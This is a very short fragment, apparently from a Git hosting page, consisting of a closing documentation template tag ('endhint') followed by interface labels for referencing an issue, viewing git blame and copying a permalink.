{% endhint %}
Reference in a new issue View git blame Copy permalink